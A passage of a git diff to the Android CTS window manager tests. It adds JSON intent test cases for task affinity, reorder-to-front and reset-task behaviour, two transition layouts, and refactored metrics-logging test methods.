+        ],
+        "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+      }
+    ]
+  }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_new_task_with_different_affinity-new_task.json b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_new_task_with_different_affinity-new_task.json
new file mode 100644
index 0000000..cd6a3a4
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_new_task_with_different_affinity-new_task.json
@@ -0,0 +1,66 @@
+{
+  "setup": {
+    "initialIntents": [
+      {
+        "flags": "FLAG_ACTIVITY_NEW_TASK",
+        "class": "android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity",
+        "package": "android.server.wm.cts",
+        "startForResult": false
+      }
+    ],
+    "act": [
+      {
+        "flags": "FLAG_ACTIVITY_NEW_TASK",
+        "class": "android.server.wm.intent.Activities$RegularActivity",
+        "package": "android.server.wm.cts",
+        "startForResult": false
+      }
+    ]
+  },
+  "initialState": {
+    "stacks": [
+      {
+        "tasks": [
+          {
+            "activities": [
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity",
+                "state": "RESUMED"
+              }
+            ]
+          }
+        ],
+        "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity"
+      }
+    ]
+  },
+  "endState": {
+    "stacks": [
+      {
+        "tasks": [
+          {
+            "activities": [
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+                "state": "RESUMED"
+              }
+            ]
+          }
+        ],
+        "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+      },
+      {
+        "tasks": [
+          {
+            "activities": [
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity",
+                "state": "STOPPED"
+              }
+            ]
+          }
+        ]
+      }
+    ]
+  }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_new_task_with_same_affinity-same_task.json b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_new_task_with_same_affinity-same_task.json
new file mode 100644
index 0000000..999ee82
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_new_task_with_same_affinity-same_task.json
@@ -0,0 +1,58 @@
+{
+  "setup": {
+    "initialIntents": [
+      {
+        "flags": "FLAG_ACTIVITY_NEW_TASK",
+        "class": "android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity",
+        "package": "android.server.wm.cts",
+        "startForResult": false
+      }
+    ],
+    "act": [
+      {
+        "flags": "FLAG_ACTIVITY_NEW_TASK",
+        "class": "android.server.wm.intent.Activities$TaskAffinity1Activity",
+        "package": "android.server.wm.cts",
+        "startForResult": false
+      }
+    ]
+  },
+  "initialState": {
+    "stacks": [
+      {
+        "tasks": [
+          {
+            "activities": [
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity",
+                "state": "RESUMED"
+              }
+            ]
+          }
+        ],
+        "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity"
+      }
+    ]
+  },
+  "endState": {
+    "stacks": [
+      {
+        "tasks": [
+          {
+            "activities": [
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+                "state": "RESUMED"
+              },
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity",
+                "state": "STOPPED"
+              }
+            ]
+          }
+        ],
+        "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity"
+      }
+    ]
+  }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_same_task_with_different_affinity-same_task.json b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_same_task_with_different_affinity-same_task.json
new file mode 100644
index 0000000..d0ec60c
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_same_task_with_different_affinity-same_task.json
@@ -0,0 +1,58 @@
+{
+  "setup": {
+    "initialIntents": [
+      {
+        "flags": "FLAG_ACTIVITY_NEW_TASK",
+        "class": "android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity",
+        "package": "android.server.wm.cts",
+        "startForResult": false
+      }
+    ],
+    "act": [
+      {
+        "flags": "",
+        "class": "android.server.wm.intent.Activities$RegularActivity",
+        "package": "android.server.wm.cts",
+        "startForResult": false
+      }
+    ]
+  },
+  "initialState": {
+    "stacks": [
+      {
+        "tasks": [
+          {
+            "activities": [
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity",
+                "state": "RESUMED"
+              }
+            ]
+          }
+        ],
+        "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity"
+      }
+    ]
+  },
+  "endState": {
+    "stacks": [
+      {
+        "tasks": [
+          {
+            "activities": [
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+                "state": "RESUMED"
+              },
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity",
+                "state": "STOPPED"
+              }
+            ]
+          }
+        ],
+        "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+      }
+    ]
+  }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/reorderToFront/reorder-to-front.json b/tests/framework/base/windowmanager/intent_tests/reorderToFront/reorder-to-front.json
new file mode 100644
index 0000000..9daaa0f
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/reorderToFront/reorder-to-front.json
@@ -0,0 +1,96 @@
+{
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$RegularActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            },
+            {
+                "flags": "",
+                "class": "android.server.wm.intent.Activities$TaskAffinity1Activity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            },
+            {
+                "flags": "",
+                "class": "android.server.wm.intent.Activities$TaskAffinity2Activity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            },
+            {
+                "flags": "",
+                "class": "android.server.wm.intent.Activities$RegularActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "FLAG_ACTIVITY_REORDER_TO_FRONT",
+                "class": "android.server.wm.intent.Activities$TaskAffinity1Activity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ]
+    },
+    "initialState": {
+        "stacks": [
+            {
+                "tasks": [
+                    {
+                        "activities": [
+                            {
+                                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+                                "state": "RESUMED"
+                            },
+                            {
+                                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity2Activity",
+                                "state": "STOPPED"
+                            },
+                            {
+                                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+                                "state": "STOPPED"
+                            },
+                            {
+                                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+                                "state": "STOPPED"
+                            }
+                        ]
+                    }
+                ],
+                "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+            }
+        ]
+    },
+    "endState": {
+        "stacks": [
+            {
+                "tasks": [
+                    {
+                        "activities": [
+                            {
+                                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+                                "state": "RESUMED"
+                            },
+                            {
+                                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+                                "state": "STOPPED"
+                            },
+                            {
+                                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity2Activity",
+                                "state": "STOPPED"
+                            },
+                            {
+                                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+                                "state": "STOPPED"
+                            }
+                        ]
+                    }
+                ],
+                "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity"
+            }
+        ]
+    }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/reorderToFront/reorder-to-front_with_new-task_on_different_affinity.json b/tests/framework/base/windowmanager/intent_tests/reorderToFront/reorder-to-front_with_new-task_on_different_affinity.json
new file mode 100644
index 0000000..ab9ae9b
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/reorderToFront/reorder-to-front_with_new-task_on_different_affinity.json
@@ -0,0 +1,95 @@
+{
+    "comment": "A new activity should be created on a new task, without interfering the activity order of caller's task.",
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$RegularActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            },
+            {
+                "flags": "",
+                "class": "android.server.wm.intent.Activities$TaskAffinity1Activity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            },
+            {
+                "flags": "",
+                "class": "android.server.wm.intent.Activities$TaskAffinity2Activity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_REORDER_TO_FRONT",
+                "class": "android.server.wm.intent.Activities$TaskAffinity1Activity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ]
+    },
+    "initialState": {
+        "stacks": [
+            {
+                "tasks": [
+                    {
+                        "activities": [
+                            {
+                                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity2Activity",
+                                "state": "RESUMED"
+                            },
+                            {
+                                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+                                "state": "STOPPED"
+                            },
+                            {
+                                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+                                "state": "STOPPED"
+                            }
+                        ]
+                    }
+                ],
+                "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity2Activity"
+            }
+        ]
+    },
+    "endState": {
+        "stacks": [
+            {
+                "tasks": [
+                    {
+                        "activities": [
+                            {
+                                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+                                "state": "RESUMED"
+                            }
+                        ]
+                    }
+                ],
+                "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity"
+            },
+            {
+                "tasks": [
+                    {
+                        "activities": [
+                            {
+                                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity2Activity",
+                                "state": "STOPPED"
+                            },
+                            {
+                                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+                                "state": "STOPPED"
+                            },
+                            {
+                                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+                                "state": "STOPPED"
+                            }
+                        ]
+                    }
+                ]
+            }
+        ]
+    }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/reset-task.json b/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/reset-task.json
new file mode 100644
index 0000000..5d5aae5
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/reset-task.json
@@ -0,0 +1,58 @@
+{
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$RegularActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "FLAG_ACTIVITY_RESET_TASK_IF_NEEDED",
+                "class": "android.server.wm.intent.Activities$NoHistoryActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ]
+    },
+    "initialState": {
+        "stacks": [
+            {
+                "tasks": [
+                    {
+                        "activities": [
+                            {
+                                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+                                "state": "RESUMED"
+                            }
+                        ]
+                    }
+                ],
+                "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+            }
+        ]
+    },
+    "endState": {
+        "stacks": [
+            {
+                "tasks": [
+                    {
+                        "activities": [
+                            {
+                                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$NoHistoryActivity",
+                                "state": "RESUMED"
+                            },
+                            {
+                                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+                                "state": "STOPPED"
+                            }
+                        ]
+                    }
+                ],
+                "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$NoHistoryActivity"
+            }
+        ]
+    }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/reset-task_with_new-task.json b/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/reset-task_with_new-task.json
new file mode 100644
index 0000000..c059027
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/reset-task_with_new-task.json
@@ -0,0 +1,54 @@
+{
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$RegularActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_RESET_TASK_IF_NEEDED",
+                "class": "android.server.wm.intent.Activities$NoHistoryActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ]
+    },
+    "initialState": {
+        "stacks": [
+            {
+                "tasks": [
+                    {
+                        "activities": [
+                            {
+                                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+                                "state": "RESUMED"
+                            }
+                        ]
+                    }
+                ],
+                "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+            }
+        ]
+    },
+    "endState": {
+        "stacks": [
+            {
+                "tasks": [
+                    {
+                        "activities": [
+                            {
+                                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+                                "state": "RESUMED"
+                            }
+                        ]
+                    }
+                ],
+                "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+            }
+        ]
+    }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/test-1.json b/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/test-1.json
index 601134c..2cf1652 100644
--- a/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/test-1.json
+++ b/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/test-1.json
@@ -55,7 +55,12 @@
                                 "state": "RESUMED"
                             }
                         ]
-                    },
+                    }
+                ],
+                "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+            },
+            {
+                "tasks": [
                     {
                         "activities": [
                             {
@@ -64,8 +69,7 @@
                             }
                         ]
                     }
-                ],
-                "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+                ]
             }
         ]
     }
diff --git a/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/test-3.json b/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/test-3.json
index 7364d63..c89cdd3 100644
--- a/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/test-3.json
+++ b/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/test-3.json
@@ -73,7 +73,12 @@
                                 "state": "RESUMED"
                             }
                         ]
-                    },
+                    }
+                ],
+                "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+            },
+            {
+                "tasks": [
                     {
                         "activities": [
                             {
@@ -82,8 +87,7 @@
                             }
                         ]
                     }
-                ],
-                "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+                ]
             },
             {
                 "tasks": [
diff --git a/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/test-4.json b/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/test-4.json
index 62c1441..d8f3f7f 100644
--- a/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/test-4.json
+++ b/tests/framework/base/windowmanager/intent_tests/resetTaskIfNeeded/test-4.json
@@ -65,7 +65,12 @@
                                 "state": "RESUMED"
                             }
                         ]
-                    },
+                    }
+                ],
+                "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+            },
+            {
+                "tasks": [
                     {
                         "activities": [
                             {
@@ -78,8 +83,7 @@
                             }
                         ]
                     }
-                ],
-                "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+                ]
             }
         ]
     }
diff --git a/tests/framework/base/windowmanager/res/layout/transition_destination_layout.xml b/tests/framework/base/windowmanager/res/layout/transition_destination_layout.xml
new file mode 100644
index 0000000..b7b4e3d
--- /dev/null
+++ b/tests/framework/base/windowmanager/res/layout/transition_destination_layout.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent"
+              android:orientation="vertical">
+
+    <ImageView
+        android:id="@+id/transitionView"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:transitionName="sharedTransition"
+        android:src="@android:drawable/ic_media_play"/>
+
+</LinearLayout>
+
diff --git a/tests/framework/base/windowmanager/res/layout/transition_source_layout.xml b/tests/framework/base/windowmanager/res/layout/transition_source_layout.xml
new file mode 100644
index 0000000..7612430
--- /dev/null
+++ b/tests/framework/base/windowmanager/res/layout/transition_source_layout.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent"
+              android:orientation="vertical">
+
+    <ImageView
+        android:id="@+id/transitionView"
+        android:layout_width="200dp"
+        android:layout_height="200dp"
+        android:transitionName="sharedTransition"
+        android:src="@android:drawable/ic_media_play" />
+
+</LinearLayout>
+
diff --git a/tests/framework/base/windowmanager/res/values/styles.xml b/tests/framework/base/windowmanager/res/values/styles.xml
index a3de74e..c315745 100644
--- a/tests/framework/base/windowmanager/res/values/styles.xml
+++ b/tests/framework/base/windowmanager/res/values/styles.xml
@@ -31,4 +31,7 @@
         <item name="android:windowContentTransitions">false</item>
         <item name="android:windowAnimationStyle">@null</item>
     </style>
+    <style name="window_activity_transitions" parent="@android:style/Theme.DeviceDefault">
+        <item name="android:windowActivityTransitions">true</item>
+    </style>
 </resources>
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityMetricsLoggerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityMetricsLoggerTests.java
index b827353..85d0474 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityMetricsLoggerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityMetricsLoggerTests.java
@@ -17,20 +17,21 @@
 package android.server.wm;
 
 import static android.os.SystemClock.sleep;
-import static android.server.wm.UiDeviceUtils.pressBackButton;
-import static android.server.wm.UiDeviceUtils.pressHomeButton;
-import static android.server.wm.UiDeviceUtils.waitForDeviceIdle;
+import static android.server.wm.ActivityManagerState.STATE_STOPPED;
 import static android.server.wm.app.Components.ENTRY_POINT_ALIAS_ACTIVITY;
 import static android.server.wm.app.Components.NO_DISPLAY_ACTIVITY;
 import static android.server.wm.app.Components.REPORT_FULLY_DRAWN_ACTIVITY;
 import static android.server.wm.app.Components.SINGLE_TASK_ACTIVITY;
 import static android.server.wm.app.Components.TEST_ACTIVITY;
 import static android.server.wm.app.Components.TRANSLUCENT_TEST_ACTIVITY;
+import static android.server.wm.app.Components.TRANSLUCENT_TOP_ACTIVITY;
+import static android.server.wm.app.Components.TopActivity.EXTRA_FINISH_IN_ON_CREATE;
 import static android.server.wm.second.Components.SECOND_ACTIVITY;
 import static android.server.wm.third.Components.THIRD_ACTIVITY;
 import static android.util.TimeUtils.formatDuration;
 
 import static com.android.internal.logging.nano.MetricsProto.MetricsEvent.APP_TRANSITION;
+import static com.android.internal.logging.nano.MetricsProto.MetricsEvent.APP_TRANSITION_CANCELLED;
 import static com.android.internal.logging.nano.MetricsProto.MetricsEvent.APP_TRANSITION_DELAY_MS;
 import static com.android.internal.logging.nano.MetricsProto.MetricsEvent.APP_TRANSITION_DEVICE_UPTIME_SECONDS;
 import static com.android.internal.logging.nano.MetricsProto.MetricsEvent.APP_TRANSITION_REPORTED_DRAWN;
@@ -58,9 +59,11 @@
 import android.metrics.MetricsReader;
 import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
+import android.server.wm.CommandSession.ActivitySessionClient;
 import android.support.test.metricshelper.MetricsAsserts;
 import android.util.EventLog.Event;
 
+
 import androidx.test.filters.FlakyTest;
 
 import com.android.compatibility.common.util.SystemUtil;
@@ -101,13 +104,10 @@
      * - am_activity_launch_time event is generated
      * In all three cases, verify the delay measurements are the same.
      */
+    @FlakyTest(bugId = 143855645)
     @Test
     public void testAppLaunchIsLogged() {
-        getLaunchActivityBuilder()
-                .setUseInstrumentation()
-                .setTargetActivity(TEST_ACTIVITY)
-                .setWaitForLaunched(true)
-                .execute();
+        launchAndWaitForActivity(TEST_ACTIVITY);
 
         final LogMaker metricsLog = getMetricsLog(TEST_ACTIVITY, APP_TRANSITION);
         final String[] deviceLogs = getDeviceLogsForComponents(mLogSeparator, TAG_ATM);
@@ -179,13 +179,10 @@
      * In both cases verify fully drawn delay measurements are equal.
      * See {@link Activity#reportFullyDrawn()}
      */
+    @FlakyTest(bugId = 143855645)
     @Test
     public void testAppFullyDrawnReportIsLogged() {
-        getLaunchActivityBuilder()
-                .setUseInstrumentation()
-                .setTargetActivity(REPORT_FULLY_DRAWN_ACTIVITY)
-                .setWaitForLaunched(true)
-                .execute();
+        launchAndWaitForActivity(REPORT_FULLY_DRAWN_ACTIVITY);
 
         // Sleep until activity under test has reported drawn (after 500ms)
         sleep(1000);
@@ -214,16 +211,21 @@
      * totalTime is set correctly. Make sure the reported value is consistent with value reported to
      * metrics logs. Verify we output the correct launch state.
      */
+    @FlakyTest(bugId = 143855645)
     @Test
-    @FlakyTest(bugId = 130764822)
     public void testAppWarmLaunchSetsWaitResultDelayData() {
-        SystemUtil.runShellCommand("am start -S -W " + TEST_ACTIVITY.flattenToShortString());
-
-        // Test warm launch
-        pressBackButton();
-        waitForDeviceIdle(1000);
+        try (ActivitySessionClient client = createActivitySessionClient()) {
+            client.startActivity(getLaunchActivityBuilder()
+                    .setUseInstrumentation()
+                    .setTargetActivity(TEST_ACTIVITY)
+                    .setWaitForLaunched(true));
+            separateTestJournal();
+            // The activity will be finished when closing the session client.
+        }
+        assertActivityDestroyed(TEST_ACTIVITY);
         mMetricsReader.checkpoint(); // clear out old logs
 
+        // This is warm launch because its process should be alive after the above steps.
         final String amStartOutput = SystemUtil.runShellCommand(
                 "am start -W " + TEST_ACTIVITY.flattenToShortString());
 
@@ -251,14 +253,14 @@
      * totalTime is set correctly. Make sure the reported value is consistent with value reported to
      * metrics logs. Verify we output the correct launch state.
      */
+    @FlakyTest(bugId = 143855645)
     @Test
-    @FlakyTest(bugId = 130764822)
     public void testAppHotLaunchSetsWaitResultDelayData() {
         SystemUtil.runShellCommand("am start -S -W " + TEST_ACTIVITY.flattenToShortString());
 
         // Test hot launch
-        pressHomeButton();
-        waitForDeviceIdle(1000);
+        launchHomeActivityNoWait();
+        waitAndAssertActivityState(TEST_ACTIVITY, STATE_STOPPED, "Activity should be stopped");
         mMetricsReader.checkpoint(); // clear out old logs
 
         final String amStartOutput = SystemUtil.runShellCommand(
@@ -275,9 +277,8 @@
         assertThat("did not find component in am start output.", amStartOutput,
                 containsString(TEST_ACTIVITY.flattenToShortString()));
 
-        // TODO (b/120981435) use ActivityMetricsLogger to populate hot launch times
-        // assertThat("did not find windows drawn delay time in am start output.", amStartOutput,
-        //       containsString(Integer.toString(windowsDrawnDelayMs)));
+        assertThat("did not find windows drawn delay time in am start output.", amStartOutput,
+                containsString(Integer.toString(windowsDrawnDelayMs)));
 
         assertThat("did not find launch state in am start output.", amStartOutput,
                 containsString("HOT"));
@@ -288,8 +289,8 @@
      * totalTime is set correctly. Make sure the reported value is consistent with value reported to
      * metrics logs. Verify we output the correct launch state.
      */
+    @FlakyTest(bugId = 143855645)
     @Test
-    @FlakyTest(bugId = 130764822)
     public void testAppColdLaunchSetsWaitResultDelayData() {
         final String amStartOutput = SystemUtil.runShellCommand(
                 "am start -S -W " + TEST_ACTIVITY.flattenToShortString());
@@ -317,30 +318,20 @@
      * receive a windows drawn message.
      * see b/117148004
      */
+    @FlakyTest(bugId = 143855645)
     @Test
     public void testLaunchOfVisibleApp() {
         // Launch an activity.
-        getLaunchActivityBuilder()
-                .setUseInstrumentation()
-                .setTargetActivity(SECOND_ACTIVITY)
-                .setWaitForLaunched(true)
-                .execute();
+        launchAndWaitForActivity(SECOND_ACTIVITY);
 
         // Launch a translucent activity on top.
-        getLaunchActivityBuilder()
-                .setUseInstrumentation()
-                .setTargetActivity(TRANSLUCENT_TEST_ACTIVITY)
-                .setWaitForLaunched(true)
-                .execute();
+        launchAndWaitForActivity(TRANSLUCENT_TEST_ACTIVITY);
 
         // Launch the first activity again. This will not trigger a windows drawn message since
         // its windows were visible before launching.
         mMetricsReader.checkpoint(); // clear out old logs
-        getLaunchActivityBuilder()
-                .setUseInstrumentation()
-                .setTargetActivity(SECOND_ACTIVITY)
-                .setWaitForLaunched(true)
-                .execute();
+        launchAndWaitForActivity(SECOND_ACTIVITY);
+
         LogMaker metricsLog = getMetricsLog(SECOND_ACTIVITY, APP_TRANSITION);
         // Verify transition logs are absent since we cannot measure windows drawn delay.
         assertNull("transition logs should be reset.", metricsLog);
@@ -349,11 +340,7 @@
         mPreUptimeMs = SystemClock.uptimeMillis();
         mMetricsReader.checkpoint(); // clear out old logs
 
-        getLaunchActivityBuilder()
-                .setUseInstrumentation()
-                .setTargetActivity(THIRD_ACTIVITY)
-                .setWaitForLaunched(true)
-                .execute();
+        launchAndWaitForActivity(THIRD_ACTIVITY);
 
         long postUptimeMs = SystemClock.uptimeMillis();
         metricsLog = getMetricsLog(THIRD_ACTIVITY, APP_TRANSITION);
@@ -362,6 +349,27 @@
         assertTransitionIsStartingWindow(metricsLog);
     }
 
+    @Test
+    public void testAppLaunchCancelledSameTask() {
+        launchAndWaitForActivity(TEST_ACTIVITY);
+
+        // Start a non-opaque activity in a different process in the same task.
+        getLaunchActivityBuilder()
+                .setUseInstrumentation()
+                .setTargetActivity(TRANSLUCENT_TOP_ACTIVITY)
+                .setIntentExtra(extra -> extra.putBoolean(EXTRA_FINISH_IN_ON_CREATE, true))
+                .setWaitForLaunched(false)
+                .execute();
+
+        final LogMaker metricsLog = Condition.waitForResult(
+                new Condition<LogMaker>("APP_TRANSITION_CANCELLED")
+                        .setResultSupplier(() -> getMetricsLog(
+                                TRANSLUCENT_TOP_ACTIVITY, APP_TRANSITION_CANCELLED))
+                        .setResultValidator(log -> log != null));
+
+        assertNotNull("Metrics log APP_TRANSITION_CANCELLED not found", metricsLog);
+    }
+
     /**
      * Launch a NoDisplay activity and verify it does not affect subsequent activity launch
      * metrics. NoDisplay activities do not draw any windows and may be incorrectly identified as a
@@ -369,18 +377,11 @@
      */
     @Test
     public void testNoDisplayActivityLaunch() {
-        getLaunchActivityBuilder()
-                .setUseInstrumentation()
-                .setTargetActivity(NO_DISPLAY_ACTIVITY)
-                .setWaitForLaunched(true)
-                .execute();
+        launchAndWaitForActivity(NO_DISPLAY_ACTIVITY);
 
         mPreUptimeMs = SystemClock.uptimeMillis();
-        getLaunchActivityBuilder()
-                .setUseInstrumentation()
-                .setTargetActivity(SECOND_ACTIVITY)
-                .setWaitForLaunched(true)
-                .execute();
+        launchAndWaitForActivity(SECOND_ACTIVITY);
+
         final LogMaker metricsLog = getMetricsLog(SECOND_ACTIVITY, APP_TRANSITION);
         final long postUptimeMs = SystemClock.uptimeMillis();
         assertMetricsLogs(SECOND_ACTIVITY, APP_TRANSITION, metricsLog, mPreUptimeMs, postUptimeMs);
@@ -395,17 +396,21 @@
     @Test
